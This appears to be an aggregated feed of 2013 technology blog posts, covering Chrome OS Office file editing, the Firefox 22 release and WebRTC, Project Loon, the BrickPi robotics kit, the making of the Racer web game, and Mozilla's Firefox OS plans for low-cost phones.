Source: http://codereview.chromium.org/15703018/

Beaufort has also posted a couple of photos showing Word and Excel files in editing mode on Chrome OS.

It should be noted that there are warnings of some bugs, but overall this will be a welcome development for many Chrome OS and Chromebook users. Word and Excel are by far the most popular productivity applications from Microsoft, and it seems clear that working with native files for these applications is within reach for Chrome and Chrome OS users.

According to a story from The Next Web, the new functionality is a result of Google's QuickOffice acquisition from last year, and the same story suggests that PowerPoint will get the same treatment soon. 

Related Activities

Related Software

Related Blog Posts

27 Jun 18:57

Mozilla Firefox Updates to Version 22

by Jon Buys

Mozilla_dinosaur_head_logo

Fire up the updaters, Mozilla has released yet another new version of Firefox into the world. Version 22 includes a handful of new features, bug fixes, and enhancements, as we’ve come to expect, but it also includes full support for WebRTC enabled by default. WebRTC stands for “Web Real Time Communication”, and aims to be yet another nail in the coffin of Flash and Java Applets.

When I was in graduate school I took most of my classes over the Internet. For one class in particular, the ability to log into the Flash-based group video chat application was essential. As soon as the application launched, the fans on my laptop kicked in, and my CPU stayed busy for the remainder of the class. Flash has performed poorly for several years, and has always seemed particularly buggy. If I understand WebRTC correctly, applications like the group video chat I used for class could be built entirely with open standards and run inside the browser without external plugins, a clear win for the open web.

WebRTC is peer to peer based, and supports video as well as data transmissions. Future developments in this area are exciting, especially when we consider gigabit residential Internet access, or internal corporate communications. While the most obvious use is video chat, the capabilities extend beyond that. According to the WebRTC project site:

WebRTC offers web application developers the ability to write rich, realtime multimedia applications (think video chat) on the web, without requiring plugins, downloads or installs. It’s purpose is to help build a strong RTC platform that works across multiple web browsers, across multiple platforms.

Mozilla has updated their BananaBread first-person shooter demo game to include WebRTC for multiplayer gaming directly in the browser. I took the game for a quick spin and was impressed by the speed and responsiveness of the controls. Now that games, video chat, and rich, immersive experiences can all be had in the browser using open standards, I’m having trouble thinking of a reason to keep Flash around.

Firefox v.22 includes a few other new features as well:

  • Windows: Firefox now follows display scaling options to render text larger on high-res displays
  • Mac OS X: Download progress in Dock application icon
  • HTML5 audio/video playback rate can now be changed
  • Social services management implemented in Add-ons Manager
  • asm.js optimizations OdinMonkey enabled for major performance improvements
  • Improved WebGL rendering performance through asynchronous canvas updates
  • New HTML5 <data> and <time> elements
  • New Web Notifications API implemented
  • Added clipboardData API for JavaScript access to a user’s clipboard

Mozilla continues to be a champion for the open web, and the latest Firefox release looks to be a solid update. Go get it if you haven’t already.

Related Activities

Related Software

Related Blog Posts

25 Jun 18:08

Fridaygram: Loon balloons, black holes, browser games

by Scott Knaster
Author Photo
By Scott Knaster, Google Developers Blog Editor

This week we announced Project Loon, a cool and kind of crazy project that launches Internet-connected balloons and shares their connection with people below on Earth. These are not your typical birthday balloons: they’re 15 meters wide, and they rise to an altitude of 20 km, where winds carry them around the world. Software computes where the balloons should go to provide the best network coverage, and the balloons are then steered and moved as necessary.



Sailing along in the stratosphere is an essential aspect of Project Loon. The stratosphere is far above general air traffic and weather, so Loon balloons don’t have to worry about that. On the other hand, the environment is not friendly, with thin atmosphere and -50°C temperatures. But because the balloons are designed for these conditions, they can survive happily.

Moving further away from Earth, all the way to deep space, astronomers have found 26 new black holes right here in the neighborhood, in the Andromeda galaxy next door. Scientists using the Chandra X-Ray Observatory detected the black holes by observing telltale bursts of X-rays as the black holes ingested the outer atmosphere of ordinary stars. And this is just the start: there are likely thousands more black holes in Andromeda. So if Internet balloons ever make to Andromeda, we now know some places to avoid.

Finally, if you’re looking for something fun to do this weekend, you can spend time with a trio of nifty Chrome Experiment games released over the past couple of weeks: Roll It is a classic boardwalk game with the modern twist of using your mobile device as a controller, Racer builds a race track and soundtrack from several mobile devices put together, and Cube Slam lets you play an old-school arcade game over the Internet with friends (and if you have no friends, you can play against a virtual bear). Have fun!


From distant galaxies to ursine videogame opponents, Fridaygram rolls wide and deep. We cover fun stuff that isn’t always directly related to writing code, just in case you need an end-of-week break. If you’re having too much fun with our trio of games and you want to learn something instead, you can read about how we built each of them: Roll It, Racer, Cube Slam.
11 Jun 17:59

BrickPi Kit Marries the Raspberry Pi and LEGO for Robots

by Sam Dean

What strange synergies there are between the diminutive, Linux-based Raspberry Pi devices and LEGO. Late last year, I reported on news that came from the University of Southampton about how Professor Simon Cox and his team of researchers had lashed together an actual supercomputer made of 64 credit card-sized Raspberry Pis using Lego pieces as the glue for the cluster. Now, there is a new project called BrickPi, going into its final week of fund-seeking over on Kickstarter, which is a mashup of the Raspberry Pi with LEGO Mindstorms sensors, bricks and motors for building robots.

You can find out much more about BrickPi here.  According to its Introduction page:

"The BrickPi is a slide-on board that turns your Raspberry Pi into a robot.  The BrickPi is a board for the Raspberry Pi that helps you connect LEGO® Mindstorms sensors, motors, and parts to easily turn your credit card size computer into a powerful robot....The BrickPi makes robotics with Raspberry Pi simple."

Want to get involved? The BrickPi team adds: "We could really use your help!  We have our code and design up on Github here.  We could use some help developing better Python code for controlling the BrickPi as well as developing examples."

It should be noted that BrickPi comes from educational robot firm Dexter Industries, which sells sensors for LEGO Mindstorms. The company's Kickstarter campaign has already attracted nearly $90,000.

For more interesting combinations of the Raspberry Pi and LEGO, see our post here

 

 

Related Activities

Related Blog Posts

11 Jun 17:45

Race across screens and platforms, powered by the mobile web

by Ashleigh Rentz
Author PictureBy Pete LePage, Chromium team

Cross-posted with the Chromium Blog

You may have seen our recent demo of Racer at Google I/O, and wondered how it was made. So today we wanted to share some of the web technologies that made this Chrome Experiment “street-legal” in a couple of months. Racer was built to show what’s possible on today’s mobile devices using an entirely in-browser experience. The goal was to create a touch-enabled experience that plays out across multiple screens (and speakers). Because it was built for the web, it doesn’t matter if you have a phone or a tablet running Android or iOS, everyone can jump right in and play.
   
Racer required two things: speedy pings and a consistent experience across screens. We delivered our minimal 2D vector drawings to each device’s HTML5 Canvas using the Paper.js vector library. Paper.js can handle the path math for our custom race track shapes without getting lapped. To eke out all the frame rate possible on such a large array of devices we rendered the cars as image sprites on a DOM layer above the Canvas, while positioning and rotating them using CSS3’s transform: matrix().

Racer’s sound experience is shared across multiple devices using the Web Audio API (available in latest iOS and Android M28 beta). Each device plays one slice of Giorgio Moroder’s symphony of sound—requiring five devices at once to hear his full composition. A constant ping from the server helps synchronize all device speakers allowing them to bump to one solid beat. Not only is the soundtrack divided across devices, it also reacts to each driver’s movements in real time—the accelerating, coasting, careening, and colliding rebalances the presence of every instrument.

To sync your phones or tablets, we use WebSockets, which enables rapid two-way communication between devices via a central server. WebSocket technology is just the start of what multi-device apps of the future might use. We’re looking forward to when WebRTC data channels—the next generation of speedy Web communication—is supported in the stable channel of Chrome for mobile. Then we’ll be able to deliver experiences like Racer with even lower ping times and without bouncing messages via a central server. Racer’s backend was built on the Google Cloud Platform using the same structure and web tools as another recent Chrome Experiment, Roll It.

To get an even more detailed peek under the hood, we just published two new case studies on our HTML5 Rocks site. Our friends at Plan8 wrote one about the sound engineering and Active Theory wrote one about the front-end build. You can also join the team at Active Theory for a Google Developers Live event this Thursday, June 13, 2013 at 3pm GMT for an in depth discussion.

Pete LePage is a Developer Advocate on the Google Chrome team and helps developers create great web applications and mobile web experiences.

Posted by Ashleigh Rentz, Editor Emerita
05 Jun 20:41

Firefox OS to Arrive at the Low End -- Then Spread Out

by Sam Dean

Back in April, Mozilla officials made clear that their plans for the first crop of phones based on Firefox OS would be focused on five global markets: Venezuela, Poland, Brazil, Portugal and Spain. Since then, there have been announcements of expanded plans to deliver phones in Latin America, and Foxconn has announced a broad partnerhship with Mozilla to deliver smartphones, television sets and large display boards based on the mobile operating system.

As the Foxconn news is being digested and Mozilla officials are talking with the press, it's becoming clear that the very first Firefox OS phones will be aimed at the very low end of the market in specific countries. In fact, they'll be arriving for under $50 USD.

The Wall Street Journal quoted Li Gong, Mozilla's newly appointed senior vice president of mobile devices:

"We see huge opportunities in the emerging markets where the customers and carriers crave for affordable smartphones. We focus on the low-cost segment because it is underserved...Sub-$50 is a sweet spot for emerging markets like India and China. We will see it happen soon with more low-cost smartphone reference designs coming from our manufacturing partner Foxconn and Chinese chip-design house Spreadtrum [Communications Inc.]"

At first glance, it may seem like Mozilla will have a tough time squeezing profits out of a strategy like this, but the sheer number of potential mobile users in markets like India and China could help. Importantly, Mozilla has 18 major telecom providers on board to support its strategy.

As all this news rolls in, it's clear that this is the biggest realignment of strategy in Mozilla's history. Even today, Mozilla is largely dependent on Google to provide most of its revenues, but the company's mobile strategy could change that. 

Li Gong has also confirmed that Mozilla wants to eventually extend its free OS to television sets and wireless routers. Add these platforms to Foxconn's plans for various devices based on Firefox OS, and it's clear that Mozilla is looking far beyond just phones.

 

Related Activities

Related Software

Related Blog Posts

26 May 10:50

We Are Overworked and Going Mad

by Margaret Wertheim
I personally think that the biggest challenge we face as a society is to find ways to focus on parenting and families.  I think we are losing the technologies of social bonding.  We are losing the technologies of raising children.  We are all so busy.  We spend so much time at work. We’re ...

Read More